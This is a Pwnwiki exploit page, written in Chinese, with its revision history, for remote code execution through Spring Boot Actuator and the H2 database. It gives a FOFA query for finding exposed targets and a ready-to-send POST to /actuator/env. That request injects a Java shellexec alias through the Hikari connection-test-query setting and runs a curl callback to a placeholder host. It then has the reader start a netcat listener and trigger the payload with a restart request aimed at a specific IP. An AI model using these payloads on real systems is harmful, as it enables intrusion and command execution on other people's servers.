Pwnwiki: Marked this version for translation

2021-06-13T01:24:39Z

Marked this version for translation

Pwnwiki: Created page with " ==漏洞影響==

 Spring Boot < 1.5 Spring Boot >= 1.5

==FOFA==

 body="Whitelabel Error Page"

==..."

2021-06-13T01:24:21Z

Created page with "<languages /> <translate> ==漏洞影響== </translate> <pre> Spring Boot < 1.5 Spring Boot >= 1.5 </pre> ==FOFA== <pre> body="Whitelabel Error Page" </pre> <translate> ==..."

New page

<languages />
<translate>
==漏洞影響==
</translate>
<pre>
Spring Boot < 1.5
Spring Boot >= 1.5
</pre>

==FOFA==
<pre>
body="Whitelabel Error Page"
</pre>

<translate>
==漏洞利用==
</translate>
<translate>
訪問以下URL：
</translate>
<pre>
http://x.x.x.x:port/actuator
</pre>
<translate>
發送如下POST包配置spring.datasource.hikari.connection-test-query的值。
</translate>
<pre>
POST /actuator/env HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Type: application/json
Content-Length: 389
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl x.x.x.x:port');"}
</pre>

<translate>
NC監聽，向端點 /actuator/restart 發送POST請求, 重啟應用。
</translate>
<pre>
POST /actuator/restart HTTP/1.1
Host: 39.105.93.185:8080
Content-Type: application/json
Content-Length: 356
{}
</pre>

Spring Boot Actuator H2 RCE漏洞 - Revision history

Pwnwiki: Marked this version for translation

Pwnwiki: Created page with " ==漏洞影響==
Spring Boot < 1.5 Spring Boot >= 1.5
==FOFA==
body="Whitelabel Error Page"
==..."

@@ Line 1: / Line 1: @@
 <languages />
 <translate>
-==漏洞影響==
+==漏洞影響== <!--T:1-->
 </translate>
 <pre>
@@ Line 14: / Line 14: @@
 <translate>
-==漏洞利用==
+==漏洞利用== <!--T:2-->
 </translate>
 <translate>
 訪問以下URL：
 </translate>
@@ Line 23: / Line 24: @@
 </pre>
 <translate>
 發送如下POST包配置spring.datasource.hikari.connection-test-query的值。
 </translate>
@@ Line 34: / Line 36: @@
 <translate>
 NC監聽，向端點 /actuator/restart 發送POST請求, 重啟應用。
 </translate>